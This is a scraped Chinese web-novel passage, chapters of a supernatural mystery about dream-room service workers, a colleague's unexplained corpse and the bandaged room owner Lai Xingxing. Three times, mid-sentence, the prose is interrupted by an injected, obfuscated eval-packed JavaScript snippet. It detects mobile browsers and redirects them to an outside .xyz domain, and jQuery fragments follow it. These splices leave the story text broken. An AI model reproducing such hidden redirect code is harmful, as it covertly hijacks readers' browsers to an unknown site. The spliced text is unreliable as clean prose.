这不可能。他们撇下叶原秋去找齐翰,最多不过十五分钟左右,哪来的一周?还有……施暴……难道当时除了他们五个之外,男澡堂里还有别人? 哪个问题都经不起细想。 众人的脸色都很难看。 终于,邹杰伦开口了。他翻阅着日志,却一个字都看不进去,放弃了,一只手揉按着眉心,忽然笑了起来:“还好是梦。” 众人先是一惊,看到他笑得比哭的难看,心中一沉。 因为在梦里,所以什么不合常理的现象都有可能发生,不是吗? “丽姐,”邹杰伦竭力装出一副轻松的模样,嘴角怪异地抽动着,“你之前肯定也遇到过吧,同行的人意外死了这种事……” 他自己都说不下去。 谁知祖丽一点头:“嗯啊。遇到过。” “之前房间内工地搭到一半,有过司机打闹不小心被倒下的横梁砸死的案例,所以后来,路蒙干脆就只让他们在棋牌室待命了。” 邹杰伦灰暗的眼中一亮。 “是了,是了,叶原秋死了,不过他是梦灵,没什么大不了的,顶多就是在现实中被吓醒了而已……”邹杰伦嘴中念念有词,像是在说服自己。 祖丽又道:“不过,梦灵死了,根本不应该留下尸体才对。叶原秋为什么还在这里?” 邹杰伦噤声。 没有人能够回答这个问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918070|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题。 祖丽冷静地出奇,转头看到泪痕未干的齐翰。 “喂,刚才男澡堂里发生的事,是不是还没讲完呢?” 她说的是,齐翰独自一人,在遇到四人组之前的遭遇。 她发完话,其他人也被提醒了似的。齐翰之前惊魂未定,紧接着又发现了叶原秋的尸体,众人出于怜悯,或出于惊吓,还没来得及问清楚,差点把这给忘了…… 齐翰见其他人都看着自己,努力让自己镇定下来,缓缓讲述起来,故事的最后一块拼图。 “那个时候,我觉得泡得太闷了,正好叶原秋也说有点口渴,我就想说出来走一走,顺便找点什么喝的……”齐翰深吸一口气,“没走多远,我就看到不远处有一台自动售货机。” “哈?”邹杰伦出声打断,语气显然不信,“哪来的自动售货机?”他的目光在其他几人身上扫过一圈,像是寻求支持:“你们看到自动售货机了吗?” 秦王朝、卫健伟、沈威三人都迟疑着摇摇头。 “真的,一台自动售货机,我看见了。还亮着灯呢。” 邹杰伦冷道:“你确定不是泡的大脑缺氧,迷糊了吧。我们找你那一路上,如果有如你所说,亮着灯的自动售货机,不可能没看到。” 卫健伟在一旁听着,虽没说什么,回想起那片白茫茫的迷雾,心道,那也不一定。 邹杰伦的武断更像是一种人在受刺激时的应激反应,想要通过否定一点,否定一切,也否定他此刻事态逐渐脱离掌控的失败感。 齐翰很是委屈,一旁肿着眼睛的秦王朝可不惯着邹杰伦,帮室友说话,粗声粗气:“齐翰说看见了就是看见了呗,你到底想不想听?” 邹杰伦一脸阴沉地看着他,秦王朝也毫不相让,场面一时僵持。 齐翰声音带着哭腔:“我就是看到了嘛,我还走到跟前了,研究了一会怎么买喝的,可我身上又没带钱,折腾了一会,只好算了,结果一回头,就迷路了,像鬼打墙一样,四周都是墙壁围上来,一个人都没有,我快吓死了……” “再然后……我就遇到你们了,我骗你们干什么?” 卫健伟心不在焉,一手插进浴袍的口袋里,摸到微凉的易拉罐,他信。 “这个是我那个时候捡到的……”犹豫了片刻,他把那罐饮料拿了出来,展示在众人眼中,这下侧面证实了自动售货机的存在。秦王朝顿时得意,邹杰伦不语,磨着后槽牙。 齐翰在看到易拉罐的那刻,整个人愣住了,目光发直。 他突然想起来了,那个时候……他站在自动售货机前,瞄准了里面一罐冰镇的饮料,可他身上一个子儿都没有。也许是酒意上头,又被泡浴蒸的脑子一团浆糊,他心一横,开始对着机器又打又踢,像个发脾气的孩子,盯着售货机里的饮料瓶身,他几乎产生了一种疯狂的念头,为了得到它,他愿意付出一切…… 他狠狠踹着自动售货机,光脚也不觉得痛,又用手打,铁皮在他的猛攻下塌陷进去,发出肉感的“砰砰”声。卡在管道里的硬币在震动之下被机器吐了出来,听见那声音,他像是受到了激励,愈发疯狂,右脚一下一下地踢出去,他的脚受伤了,血流了出来,是他的血吗?为什么他感觉不到疼?他闻不到,只尝到舌尖暴戾的血腥味…… 眼前突然浮现了叶原秋的脸,那是不久前,他正准备从泡池里起身,叶原秋歪着头靠在泡池边上看着他,舔了舔发干的嘴角,冲他笑:“出了好多汗……好渴啊,要是有罐冰汽水就好了……” 他点点头:“嗯,有就给你买。” 一眨眼,叶原秋的脸变得肿胀不堪,眼睛上翻,好像已经在强烈的虐/打下昏死过去,红色的血泪从他的眼里流出,浸润了干涸开裂的嘴唇。 ——咕噜噜。 薄薄的铝罐滚下来的声音,像是给他的奖励,夹在人体与机器对抗的噪音之中,几乎可以忽略不计。 齐翰一愣,眼前像是浮现了一行花字。 绿豆汤加冰七分甜送出冰可乐*1 他又一愣,眼睛眨了一下,叶原秋连带着花字,全都消失了。他的脚安然无恙,同样毫发无损的,还有眼前方方正正的自动售货机,在雾气中发出明亮的如同灯塔一样充满希望的光亮,刚才的一切仿佛只是他的错觉。 他转过身去,浓重的雾气如同怒涛一般翻滚,四面都是墙壁,默不作声朝他围拢过来,像是随时要向他发起沉默的绞杀。 49. 48. 观我(五) 齐翰紧盯着卫健伟手中的易拉罐,突然感到很渴。 他冷汗涔涔,鼻孔张大,呼吸急促。 他不知道,叶原秋死的时候,是不是和他一样口渴。 “都怪……我……”他重复着这句话,这次秦王朝的安慰也无济于事,如是几遍之后,秦王朝也放弃了。 “齐翰没事吧?” 沈威怕齐翰突然晕倒,拉着他在沙发上坐下,他受人摆布,依旧目光发直,谁叫也不理,像是精神受到极强的冲击,以至于陷入了某种癔症。 秦王朝看着室友的样子,心里也没底,把海胆头揉的更乱,丧气道:“算了,让他先缓缓吧。” 说完,他狠狠瞪了一眼邹杰伦,他俩没完! 邹杰伦没什么表情,或许有那么一刻罪恶感浮现,出于自我保护,他看向祖丽——刚才第一个追问齐翰的人可不是他。 祖丽依旧沉得住气,在众人的注视下,她走到秦王朝跟前,又检查了他睁不开的右眼,宣布:“你长了倒睫。” “倒睫?” “对。” “什么是倒睫?” “你的睫毛往里长,戳你的眼球呢,你自己没感觉吗?” 秦王朝像是牙酸一样哼哼:“怎么会这样……那怎么办?” 所有人都想知道。 怎么办? 一筹莫展的众人都眼巴巴地望着祖丽,取代了邹杰伦,成了剩下九人之中当之无愧的主心骨。 祖丽叹了口气:“事已至此,还是先准备演唱会吧。” “……” 这算什么?丧事喜办? “要赶在赖星星深度睡眠之前找到她,她是房间的源头,或许会知道些什么。”祖丽道,镇定的声音自带一种令人信服的魔力。 看她做什么?她也什么都不知道啊,唯一知道的是,慌也没用。 祖丽抬头,看了看大堂接待处,挂着的时钟。现在是凌晨三点半,他们是三点进入房间的,仅仅过了半个小时,体感却好像过了好几个世纪…… “邹杰伦。” “在。咋了?”丽姐吩咐,邹杰伦勉强提起精神。 “你记一下,其实应该更早一些……不过就当是三点半吧。你按三点半记录就行。” “好……”邹杰伦意识到什么,摊开手中的日志,照做。 他想起每则短记后的时间戳记,是不是就是同一个东西? 只是,代表的是什么呢?他曾经猜测,是客房服务结束的时间,最早一次是4点半…… 祖丽低声道:“9月15日,三点半,房间里首次出现梦魇征兆的时间。” * “也就是说,你们客房服务的底线,是要防止房间里变成噩梦,是这个意思吧?” 说话的人是辛恬,到了这个时候,也就只有她还能保持着轻松的事不关己的语气,自行切割了“你们”,话中泾渭分明。此时,她坐在客厅的一把扶手椅上,仅用两只椅腿支撑着地面,一只脚踩在矮茶几上,另一只脚悬在半空晃悠,好像耍着某种杂技。 苇思航在她面前,无奈摊手:“这是刚才丽姐的原话,你也听见了。” 大概就是,赖星星的现实处境,令她同样饱受负面精神力的困扰,在来到房间之前,她频繁受到噩梦的困扰。直到三年前进入房间,情况有所改善,但最近一段时间,噩梦似乎有卷土重来的趋势。 尽管有客房服务的帮助,房间中的梦境进入后半段,仍然会有转化为噩梦的风险,每当客房服务察觉到相应的征兆,必须提高警惕,并采取相应的措施。 虽然房主赖星星还没有露面,客服成员之一叶原秋的离奇死亡已被视为某种不详的征兆。如果情况继续恶化下去,难保不会发生更加严重的事情…… ——以上这些都是苇思航根据祖丽和邹杰伦唯二知情人的反应瞎猜的。 辛恬回到了之前没心没肺的模样,觉得苇思航的反应太过平淡,很没意思,鼻子里哼了一声,因为嘴巴没空。 她精力恢复了一点,搜刮来酒店各处的待客零食:有高档薄荷糖,应季水果,还有迎宾的茶杯蛋糕……辛恬撇撇嘴,不能说满意,只能说聊胜于无。蛋糕是贵妇下午茶的规格,宝塔一样摞了好几层,看着多,其实不然。堆高了摆在她旁边的茶几上,说句不好听的,有种贡品的既视感。不过辛恬才不管,一口一个,吃得不亦乐乎。 宁霜在旁边看了一会,忍不住吐槽:“你现在还吃的下。” 叶原秋的尸体找了个地方安放,距离她们有一段距离,可是散发的尸臭还是源源不断地传来。宁霜忍无可忍,用卫生纸搓成长条,堵住鼻子,说话便有些瓮声瓮气的。 “为什么吃不下?”辛恬道,举起手中的蛋糕相邀:“你也来一个?” 宁霜忙不迭摆手,感觉自己快要吐了。 苇思航这才意识到什么,惊讶地看向辛恬:“你原来不是幽灵啊!” 此时,剩余的九个人中,邹杰伦被祖丽叫去商议正事,卫健伟临时被分配了个任务——让他帮秦王朝处理倒睫,顺便照看神志不清的齐翰;沈威出力把叶原秋安放到一边,一转眼就没了人影;三个女生自动聚在一起聊天。 辛恬奇怪道:“我不是幽灵啊,你为什么觉得我是幽灵?” 苇思航想了想:“你上我车第一句,不是说‘好香’吗?正常梦灵是没有嗅觉的呀。” 辛恬道:“那是一种修辞,修辞懂吗!只要是吃的,我都觉得很香,你梦里没有过吗?看见美食,觉得很香,口水都要流出来了……其实你根本没闻到过那种香味,只是存在于你的想象中啦。” “原来是这样。”苇思航受教,看着辛恬旁若无人地幸福干饭,她又一次被辛恬的吃相迷住了,没有嗅觉还能吃的那么香,这也算是种天赋不是? “你真是颜值主播吗?我感觉你做吃播也不错啊!” “你觉得吗?%¥¥%#”辛恬声音含混,徒手扒开一个菠萝(……),没有泡过盐水的果肉让她舌头蛰痛,好容易咽下去,她叹了一口气:“要是能做吃播就好了,想想就幸福啊!为了维持身材,我这么说吧,成年之后,我就没有一天吃饱过。” “啊……” “每天都饿着睡着,在梦里当然想吃什么就吃什么!谁都不许拦着我!” “得了,吃你的吧,没人拦着你。”苇思航失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15923033|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑。 辛恬狼吞虎咽欲壑难填的样子,倒是让她想到一个人……沈威。 沈威抽起烟也是停不下来,一支接着一支。鉴于他现在还没死透,还是没有嗅觉的梦灵,估计其中滋味只能体味个两三成,很可能也是某种心理问题…… 估计这两人会很有的聊?说起来……沈威人呢? 苇思航一眼扫过,没看到那个熟悉的人影,心中升起几分疑虑。沈叔看上去相当靠谱,不会也搞年轻人落单逞能那一套吧…… 她正想着,身边凑过来一个人,是宁霜。 宁霜此人外表高冷干练,看起来不好接近,苇思航对她知之甚少,见她主动攀谈,倒有些意外。 宁霜也是目前唯一一个这么叫她——“思航。” “——你说那俩人干啥去了?” 苇思航想了一会,才反应过来宁霜说的那俩是谁——祖丽和邹杰伦,目前唯一一对双人行动的。 “我也不知道啊。估计商量对策啥的吧。”苇思航回答。 宁霜笑笑:“你刚刚有没有觉得,祖丽姐好厉害呀!” 苇思航也弯了弯眼睛:“是啊,我也觉得好厉害。临危不乱。” “难道她现实中是警察吗,或者是法医?连尸体泡了一周这种事都能看出来?” “对啊对啊。”苇思航连声附和。 两人关系迅速拉近。 宁霜打开话匣子,越说越夸张了。“我觉得按祖丽姐的资质,都够去交通处破案的了!” “交通处?怎么不是调查处?”苇思航下意识道。 宁霜脸垮了下来:“可不能拿交通处和调查处那群吃干饭的比啊!” “哦,抱歉。”苇思航意识到自己说错话了,看着宁霜的脸色,“我还以为……你更适合交通处。” 她本意是想说,照宁霜对交规的重视程度来讲……不过听起来,交通处好像不仅仅是简单的交警而已。 因为说她适合交通处,宁霜很是受用地笑了。直到这时,她才表明来意。 “刚刚你和辛恬,是不是捡到一部手机来着?” 苇思航愣了一下,承认:“对。” 是有那么一件事。是在那条白色长廊上,滑轨云台上。 “怎么了?你俩说什么呢?”辛恬闻声也凑了过来。她嘴里嚼着薄荷糖,有股清新的薄荷香气。 宁霜深吸一口气,朝她伸手:“也给我一颗。” 辛恬随手丢给宁霜,又看着苇思航,苇思航说明来龙去脉:“宁霜问我刚才那部手机的事。” “手机?手机怎么了?” “那好像是我认识的人的手机。”宁霜撕开薄荷糖,感觉鼻腔随之一清,脑海中也一片清明。 “哈?这么巧?”辛恬道,语气似乎不信。 宁霜心道,她这也不算撒谎吧。 从怀里拿出一张登记文书——她从事故车里找到的,又接过苇思航递来的手机,她摁亮屏保,上面随即出现了一个女人的自拍,她当时匆匆一瞥,果然没有认错。 “你们看,这俩是同一个人,我没骗你们吧。”宁霜道,两张照片放在一起比对,一顿,“她叫林月香。” 50. 49. 观我(六) “你们认识她吗?林月香。”宁霜问苇思航和辛恬。 两人都摇摇头,宁霜了然点头——反而要是知道,她才惊讶呢。 哪里有这么巧的事? 这样的巧合一次就够不可思议的了,虽然交通处女警宁霜是为了追查林月香的车祸才潜入最近的房间,却没真的想过会在这里找到林月香本人的线索。 就算没有找到,她其实也不算全无收获,在此之前,她正打算,怎么把这个地下违规窝点一锅端了…… 诚然,“房间”的业务是经过灵管局登记许可后展开的,可灵管局也明令,禁止包括房主以内超过十名灵体在房间中作业!此举严重影响了界域处《异位面管控法》,有导致梦境坍流的风险! 她有理由怀疑,之前交通处接到的异常精神力波动预警,就来自于1408号房间。 忽必烈组长的推测果然没有错!问题出在房间,而不是里世界,也足够让人松一口气……她简直迫不及待要向忽必烈汇报这个好消息。 至于她发现1408号房间的违规行为,为什么不在第一时间阻止并警告呢……当然是为了抓个现行,毕竟她也是有立功需求的嘛…… 当听说了叶原秋的横死,宁霜有一瞬间的自责,假如她一开始制止,是不是就能避免这件事的发生?她只能拿死者是个梦灵来安慰自己,一边再次提醒自己,违规作业存侥幸心理果然要不得啊…… 说回当下。苇思航把手机交给宁霜,辛恬在旁问道:“林月香——又是你什么人?” 宁霜头也不抬:“不算熟……就见过几面。奇怪……” 苇思航探头,好奇问:“你能打开吗?” 这部不算新款的手机需要手势密码才能解锁,宁霜摆弄了半天,也束手无策。其实解不解锁也没什么所谓,更让宁霜惊讶的,倒不是这件事。 “这不是附灵的物品。”她道,手上再检查一遍,确认了这个事实,“这个东西产自灵界。” “啊?”苇思航很给面子,表情惊讶,堪比颜艺。 灵界自产的手机?还有这种东西? 她也好好把那手机摸了一遍,没觉出有什么特别的。 手机辗转流落到辛恬手里,不过辛恬只关心一件事——打开不需要解锁的照相机,飞快对着她们三人咔嚓了一张。 “不错嘛!灵界手机的美颜好自然哦!”她乐呵呵道。 剩下两人凑过去看,被照片中专业主播的镜头感晃花了眼,衬得她二人都变成了绿叶,悻悻别开眼睛。 苇思航索性把手机交给了宁霜,反正这就是块砖,她拿着也没什么用。 “她的手机怎么会在这里?” “估计是之前来这里客房服务的时候落下的?”宁霜的回答也不很确定。这是目前唯一的猜测。 林月香一定来过这里。 可她一个梦灵,为什么用着灵界的手机?而且她离开了,手机却没有消失……宁霜努力不让自己往那上面联想,可这手机的存在,简直就像叶原秋的那具尸体一样……这在房间里是正常的吗? 宁霜打算过会找邹杰伦旁敲侧击问一下林月香本人的情况。剩下两人转头就把这事抛到脑后。 苇思航转头看见一个鬼祟的人影,从大堂的另一头正朝她们走来。 她心中一动,叫住他:“沈叔!” 她刚才还正担心他呢。 沈威也看见她了,举手示意,加快脚步,来到她们近前。 沈威看起来精神头好了不少,跟不久前奄奄一息的样子相比,堪称春风得意。苇思航耳聪目明,冷不丁笑道:“这是从哪儿抽完回来了?” 沈威大大吃惊,徒然地转头,闻着自己领口是否有残留的烟味,一句话出卖了自己:“你闻到了?” 烟雾报警器明明也没响啊! 苇思航一笑:“闻不到啊。我猜的。” 沈威一愣,也笑道:“你这丫头,蛮精的嘛!” 除了苇思航之外,另外两人跟沈威都不太熟,只是见过面的程度,辛恬跟在宁霜后面含混地问了好,顺便又往嘴里塞了好些薄荷糖,凉的哈哈吸气。 沈威轻轻点头示意,目光从几人身上掠过,突然腼腆地笑了一下,卸下肩上的背包,开始往外拿东西。 “这……” 那只用来背呼吸机的背包容量竟深不可测,转眼间,面前的茶几上摆满了各类美食:蟹肉沙拉,三文鱼刺身,奶酪拼盘,鱼子酱,气泡酒,芝士蛋糕,手握寿司,帕尔马火腿…… 苇思航看呆了。 沈威冲她得意一笑:“你猜我刚刚到哪里抽烟去了?” 有一个地方肯定没有烟雾报警器……厨房。 沈威就着灶台上蓝幽幽的明火,给自己点烟,过足了瘾,回来之前,顺带把厨房里装满美食的大冰柜洗劫一遭。 小茶几上的食物本来都快被辛恬消耗了个干净,这回经过沈威补充一番,比之前还要丰盛,甚至有一种过年的既视感。 “你们都吃呀。我刻意挑的都是可以直接吃的,尝尝,尝尝。”沈威露出长辈一样的慈祥微笑,招呼三人,一只烟别在耳朵上,模样有几分痞气,“小苇,还有那谁……宁霜是吧,你们是没看到,那厨房老好了!一点水分都没有的五星级呐!在现实里也不一定能吃这么好呢。” 宁霜外表高冷,人情世故一点不差,虽然当下没有任何进食的欲望,还是冲沈威礼貌笑道:“谢谢威叔,有心啦。” 苇思航听见身旁一声嘎嘣的轻响,原是辛恬把薄荷糖咬碎了。 苇思航倒是习惯了沈威无事献殷勤,知道他并没有什么坏心,就怕宁霜和辛恬多想,主动活跃气氛,笑道:“沈叔这么好,别是又想到自己女儿了吧?” 沈威把最后一只烟从左耳换到右耳,笑骂:“怎么?当我女儿,还委屈着你了?” 忽略沈威时而的巧言令色,他的可靠程度仅次于祖丽和邹杰伦……客观上可能和邹杰伦差不多,他也顺势加入了原本女生三人组的对话,更准确地说,跟苇思航对话。 “祖丽和邹杰伦还没回来呢?” “没呢,你来的时候没看到他们吗?” “没。厨房在另一个方向。” 苇思航一讶:“这会功夫连地方都摸熟了?厉害呀!就为了抽支烟?” “请你收回‘就’,还有,才不是‘支’烟。”沈威又没正形地笑起来,对苇思航比划,“这是最后一支烟了。” “嚯。还留了一支,”苇思航又挑了挑眉,故意说着反话,“还挺有规划的嘛。” “想听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15934312|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真话吗?”沈威笑了。 “什么真话?” “不是我不想抽,”沈威从右耳上拿下那支烟,在手里把玩着,像是又发了愁,“这支怎么都点不着了。” 苇思航听了也笑:“难怪。” “是在浴室的时候受潮了?”她想当然道。 “应该不是。”沈威摇摇头,“其他的烟都好好的,就这最后一根很奇怪。上面好像还有字,正好,你帮我看看……” 沈威说着,把最后一支烟递给苇思航。苦老花眼久矣。 苇思航随手接过,扫了一眼,突然不吭声了。 上面确实有一行小字。不是刻在烟上,更像是浮在上面。那字的内容是: 技能:最后一支烟。 等级:lv.1 将香烟转了转,更多的字出现在眼前。 简介:需要强烈的信念才可以点燃!可获得不受外界干预的三分钟,用以思考宇宙人生。三分钟结束后,可获得与信念相当的心愿一个,等等……卖火柴小女孩串台了——谁知道她最后一支火柴是不是为了点烟?她私下就是烟酒都来啊!等等……注意,许愿有可能失败,许愿再许一个愿不算哦~ 冷却时间:max(抽完一包烟,6小时)p.s香烟在最后一支烟使用后才会恢复供应,大烟鬼请自行权衡! 苇思航不语,沈威在旁边看着她的表情,吞了吞口水。 那段文字没有阅读障碍,他看到了,更像是出现在脑海里。他只是想借苇思航的判断,确认这个事实,他怀疑自己是不是疯了……又或者是这个房间的恶作剧? “这是你的特殊能力……觉醒了……”好半天,苇思航憋出这句,好像只有这一个解释。 “特殊能力?觉醒?”沈威重复一遍。 一旁听到这话的宁霜也表情一变。 “那是什么东西?算好事,还是算坏事?”沈威絮絮叨叨,“这意思我理解没错的话,不用这最后一支烟,我就没烟抽了,对吧?” 沈威没能等来回答,只看到苇思航严峻的神色。 “搞什么啊……”他想到这里,就有点烦躁,好像不久前抚慰过的烟瘾又犯了,转头看苇思航的表情,心里更没底了,“小苇,你倒是说话呀?” 苇思航心乱如麻,思绪宛如电光火石,将迄今为止各种奇怪的现象串联在一起…… 沈威突然觉醒的特殊能力,让她不可避免地想起了魇境之中的经历。 她一直觉得房间和魇境很像,加上不久前祖丽宣布出现了梦魇征兆……难道说…… 不,不是魇境。 确定的梦主,无法脱身的灵体,这更像是……灵坟? 这个念头出现,激起苇思航身上一股凉意。 上方此时传来声响,众人都抬头看去。 卵形大堂上方,是作为行政酒廊的悬空中庭,通过大堂尽头曲径通幽的扶梯可以抵达。凸出的一角露台,像是大陆探出的岬角,每晚有管弦乐队在那里演奏。随着一阵看不见的精神力乱流如风一般扫过,吧台上方倒挂的高脚杯碰撞着叮铃作响。目之所及,所有门窗“啪”地一下,突然齐齐紧闭,像是被卡了脖子发出的一声短促尖叫,再之后声息全无。凝滞的气氛中,一个人影缓缓步出,出现在中庭凭栏处。 51. 50. 观我(七) 众人抬头望去。 那个露台上突然出现的陌生的女人,毫无疑问,就是这个房间的主人,赖星星。 她身材纤细而精美,穿着丝绸缎面的墨绿色睡袍,显得很慵懒,耳边晃动的华丽的宝石吊坠让人无法忽视,她俯下上半身,撑着栏杆,好整以暇地俯视着下面那些人,裙子外套的一件开司米毛衫从肩膀松松滑落,她却毫不在意,水晶吊灯折射的彩光正映在她脸上,其中嵌着一双黑如深潭的眼睛。 众人大气都不敢出,紧闭嘴唇,如同此刻被锁住的窗棂。 “真的都是生面孔呢。哈喽——你们好啊。”她开口了,声音既轻且慢,目光依次在下面的人们身上扫过。 反是被她目光扫到的人,都忍不住颤抖一下,然后低下头去。 不忍直视。 那张本应让人惊艳的脸上缠着绷带,层层叠叠的白色布条从下巴一直裹到了额角,呼吸带动鼻子周围的绷带起伏,偶尔露出下面狰狞的暗红色血痂,长发分成一绺一绺如杂草一般从绷带的间隙里抽出来,像是美杜莎蛇发的化身,可是让人石化的却不是摄人心魄的美丽,而是残忍的丑陋。绷带如同一张苍白的画布,让她身上其他或华丽或张扬的装饰都变得像讽刺一般。 “你就藏在这些人里面吧——那个想杀了我的人。”赖星星仿佛对着空气,喃喃自语。脸上唯独还称得上美丽的眼中同时存在着倦怠和疯狂,霎时弯成两半月牙,语气揶揄地宣战:“不过我会先找到你,然后杀了你哦!” 她悦耳的声音像是掺了毒药的甜酒,朝着下方尚且不知发生了什么的人们泼洒下来。 “初次见面,亲爱的们,会帮我完成这个愿望的吧?”她夸张地把手竖在耳边,像是跟粉丝互动一样,自然没有等来回答——下面鸦雀无声。 这并不影响她继续自顾自演着独角戏:“接下来的12……哦不,36个小时,要只看着星星哦!爱你们!” 她手碰到绷带下嘴唇的位置,朝着下方飞吻,朝不存在的粉丝比心,玩的不亦乐乎。在她身旁,两个同样脸上缠着绷带的人走了出来,三个一模一样的绷带怪人并肩而立,随后开始随着一首优雅的圆舞曲旋转着跳起舞来。 站在楼下大堂,抬头望去,几乎要被三个星星晃花了眼。 除非这房间里还进来了别人,否则有关那三个人的身份,答案只可能是:赖星星,祖丽,邹杰伦。 只是不知道谁是赖星星,谁是祖丽,谁是邹杰伦。 随着轻快的节奏,三人像是早就排练好了那样,变换舞姿,交换站位,其中一个赖星星实在忍不住,一边控制不住自己地蹦蹦跳跳,一边用只有三个人能听到的气声明目张胆地吐槽:“……疯女人。” ——没错,说话的这个是邹杰伦。 他看见身旁两个不分伯仲的赖星星,身在其中,他也早已分不清谁是谁了。他看见头顶的水晶吊灯在旋转,一整个世界在脚下旋转,他飘上了没有星星的夜空,依旧在旋转……绷带贴着他的脸,越缠越紧,他快要不能呼吸了…… 时间回到不久前。 被祖丽带着,邹杰伦和她二人循着一段清脆的铃声,走上楼梯,来到一处幽静的包厢内,当晚首次,见到了赖星星本尊。 她坐在一张宴客的中式圆桌主位,身上的墨绿色长裙说是睡袍也可以,说是晚宴裙也可以,外搭开司米披肩,整个人显文静又慵懒……如果忽略那可怖的被绷带缠住的脸的话,倒是女明星味十足。她的手边放着一只小巧的黄铜摇铃,刚刚的铃声就是从那里传出来的。 邹杰伦很确定,那个声音只有他和祖丽能听见,祖丽用眼神示意让他不要声张。 经历了之前的事情,邹杰伦现在唯祖丽马首是瞻。放下权力情节,抱紧丽姐大腿! “你们来啦。” 沉重的包厢门在他们身后自动关上,激起一阵微风,给邹杰伦背后带来一层鸡皮疙瘩。尽管已经不是第一次看到赖星星的样子,他始终无法习惯。 今天的赖星星又好像和以往不太一样……是什么变了呢? 她的面前放着食物,一口未动,被她用小刀一下下凌迟着。见他们来了,她放下餐刀,在瓷盘上发出让人牙酸的一声。 赖星星朝两人瞥去一眼。 “咦,路蒙呢?” 祖丽一愣,万万没想到赖星星的第一句是问这个,定了定神,回答:“他不在。” 前几次路蒙也不在啊。 “啊,又没帅哥看了。”赖星星随口吐出心里话,很是失望的样子。 一旁被当空气的邹杰伦心情复杂:“……” “他上次也没来,还有上上次……怎么回事啊他?” “这……他目前不在工会,具体情况,我们也不太清楚。”祖丽道,“不过有邹经理在,也是差不多的——”她声音提高一些,想要引起赖星星的注意,顺便推了邹杰伦一把。 邹杰伦本来膝盖软的跟什么似的,被祖丽一推,差点给赖星星跪下(……)。好容易稳住身子,他大感丢脸,更加抬不起头来。 其实祖丽表面镇定,心里也是紧张的,所以才会收不住手上的力气,此时也略感尴尬地收回手。 赖星星不置可否,娇嗔一声:“他怎么这样啊,上次跟我说了说了那种话,然后就逃之夭夭了,难道是自己觉得不好意思了?这算什么,管杀不管埋吗?” “……” 听着这话的两人神色尴尬,想要八卦又不敢,只能低下头去掩饰此刻的表情。 赖星星抱怨了两句作罢。又随口问:“你们今天带了多少人过来?” 祖丽先回过神来,代邹杰伦回答:“我们一共十个人。” “这么多啊?”赖星星先是一惊,然后又笑起来。 那笑中带着一股淡淡的轻蔑,邹杰伦心里一刺,忍不住粗声粗气地辩解道:“您放心,我们带的每个人都经过了严格筛选,致力于为您带来最周到的服务……” 这属实是睁眼说瞎话了。一旁祖丽也忍不住瞪大了眼睛看他,马上又低下头去,怕赖星星有所觉察。 除了邹杰伦本人和祖丽之外,要说起那剩下八个人的来由:卫健伟和沈威是为了抵日租,门口抓了三个男大学生酒鬼凑数,顺便把来注册司机的宁霜也叫上了,辛恬是送上来的金主观光客,再说那个苇思航,邹杰伦带她来纯粹是因为犯贱,呃…… 这些当然是没法让赖星星知道的,问到也是一口咬定不认。 祖丽正色,既然说到这里,还有一件事情不得不提,对赖星星道:“我们刚刚从浴室过来,遇到了一些异常情况,作为房主,您可能需要知道下。” 赖星星眉毛一挑,等着祖丽说下去。 初入房间十人,因为浴室里遇到的意外,叶原秋死了,齐翰不知受到了什么刺激,基本失去了行动能力。 赖星星听说,虽有惊讶,却不见害怕之色,反而一笑:“这很好啊。” “……啊?” “除了你们两个之外,又剔除了两个错误选项……是吗?诶,好像也不能这么武断……” 又一次惹得另外那两人面面相觑。 虽然早知赖星星有点神神叨叨,阴晴不定的——邹杰伦私底下管她叫“疯女人”,可还是……她究竟在说什么呀? 赖星星支着下巴,好整以暇:“实话告诉你们吧,在这个房间里,有人要杀我。” 赖星星微微偏头,注视着眼前两人的反应,绷带挡住了她的嘴形,轻飘飘的声音不像是从她的身体里发出的,倒像是来自房间的某处,又像毛茸茸地贴在耳边絮语。 邹杰伦不敢转头,今天以来头一次正对上赖星星的目光,有一种被那视线看穿、搜检的错觉。 “我嘛,决定乐观一点,完全信任你们两个哦~让我们把嫌疑人锁定在那六个人中,怎么样?”她又道,语气依旧轻松无比,“——你们心里有什么人选吗?” 她的话宛如在不大的包厢里引爆了一颗无声的炸/弹,余波一阵接着一阵。 祖丽脸色一变,姑且还算镇静,邹杰伦看了一眼赖星星,又转头看着祖丽,像是有什么话想说,憋得脸都红了。 荒唐,实在是太荒唐了……邹杰伦心里此时只有这一个念头。 赖星星又在发什么疯?是要他们配合她做什么拙劣的角色扮演吗? 可他到底有所顾忌,正斟酌着要如何开口,那边赖星星又懒洋洋道:“如果没有意外的话……今天是我退房前的最后一次客房服务,我要逮住那个杀手……你们会帮我的吧?” 